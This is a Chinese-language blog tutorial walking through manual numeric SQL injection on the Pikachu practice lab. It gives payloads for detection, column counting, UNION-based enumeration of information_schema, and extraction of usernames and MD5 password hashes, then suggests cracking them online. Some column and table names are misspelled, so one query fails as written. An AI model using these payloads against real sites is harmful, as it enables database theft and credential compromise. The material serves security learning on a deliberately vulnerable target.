1. 程式人生 > 其它 >SQL注入之數字型注入(手工)(1)

SQL注入之數字型注入(手工)(1)

產生注入漏洞條件

  • 引數使用者可控:前端傳給後端的引數內容是可以被使用者控制的
  • 引數帶入資料庫查詢:傳入的引數拼接到SQL語句,且帶入資料庫查詢

與SQL注入相關知識點

1.在注入時,我經常產生一個疑問,問什麼要用這個表,如果這個表不存在怎麼辦?為什麼要寫這樣的語句等等 經過系統的學習,漸漸的開始理解了,本文會進行部分說明

2.在MYSQL5.0版本後,系統會預設在資料庫中存放一個informa_schema的資料庫,該庫中需要記住三個表名:schemata,tables,columns;

  • schemata表用來存放使用者建立的所有資料庫的庫名,需要記住資料庫庫名的欄位名為schema_name
  • tables存放資料所有資料庫名和表名,記住這兩個欄位名table_schematable_name
  • columns存放所有的資料庫名,表名和列名,需要記住這三個欄位名table_schema,table_name,column_name
    看到上面的說明應該明白輸入information_schema.tables等欄位的原因了

3.除了上面的欄位名,還需要記住以下幾個函式:

  • database():當前網站使用的資料庫
  • version():當前MYSQL的版本
  • user(): 當前MYSQL使用者

4.需要知道MYSQL註釋符為:#--空格/**/

注入的步驟

數字型注入一般有以下幾步:
1.先判斷網站是否存在注入漏洞
2.獲取資料庫名
3.獲取表名
4獲取列名
5根據獲取的資料庫名,表名,列名來獲得表內的資訊

數字型注入例項

pikachu裡的數字型注入為例子.
如圖為post型別,不能在地址進行注入,用burpsuite抓包.

burpsuite介面如下

判斷是否存在漏洞

輸入 and 1=1,介面正確返回

輸入and 1=2,介面顯示出錯,由此說明存在注入漏洞

判斷列的數量

輸入 order by 1和order by 2 頁面正常返回,order by 3時返回錯誤頁面,說明只有2列
因此union注入語句為union select 1,2
輸入 union select 1,2,返回正常結果,還不止一條

獲取資料庫名

輸入union select database(),查詢出資料庫名為pikachu(其實配置資料庫時我已經看到了)

獲取表名

有了資料庫名就好辦了,簡單的八達鳥(湯老師警告),請各位看我的手法.
輸入union select 1,(select table_name from information_schema.tables where table_schema='pikachu' ),什麼!說我查詢太多,顯示不出來,我大意了啊.

重新輸入union select 1,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1 ),加了個limit 0,1(0,是起始位置,1是選幾個),獲取到一個表名httpinfo了,繼續把limit 0,1裡的0依次改為1,2,3,4等,獲得member,message,users,xssblind....(差不多就行了,member表應該有重要資訊)

獲取列名

有了資料庫名,表名,接下來手到擒來(以member為例)
輸入union select 1,(select cloumn_name from information_schema.cloumns where table_schema='pikachu' and table_name='member' limit 0,1 ),已經獲得id了,接下來把limit 0,1裡的0依次改為1,2等,獲得username,pw.獲得username,pw已夠了,接下來可以獲得使用者資訊了

獲取使用者資料

輸入union select (select pw from pikachu.member limit 0,1),(select pw from pikachu.member limit 0,1 ),獲取到使用者名稱和密碼了,不過使用了MD5雜湊,找線上網站破解就可以了

總結

使用者名稱和密碼一樣e10adc3949ba59abbe56e057f20f883e,感興趣的可以去破解看看.
這個數字型注入不難,一步一步來,有邏輯的來注入,我曾經看到這種題目上來就一把抓,把會的東西全部整一邊,然後做不出來就放棄了,當時完全不知道該如何下手,現在才知道這都是有套路的.MYSQL預設的資料庫以及那九個表名非常重要.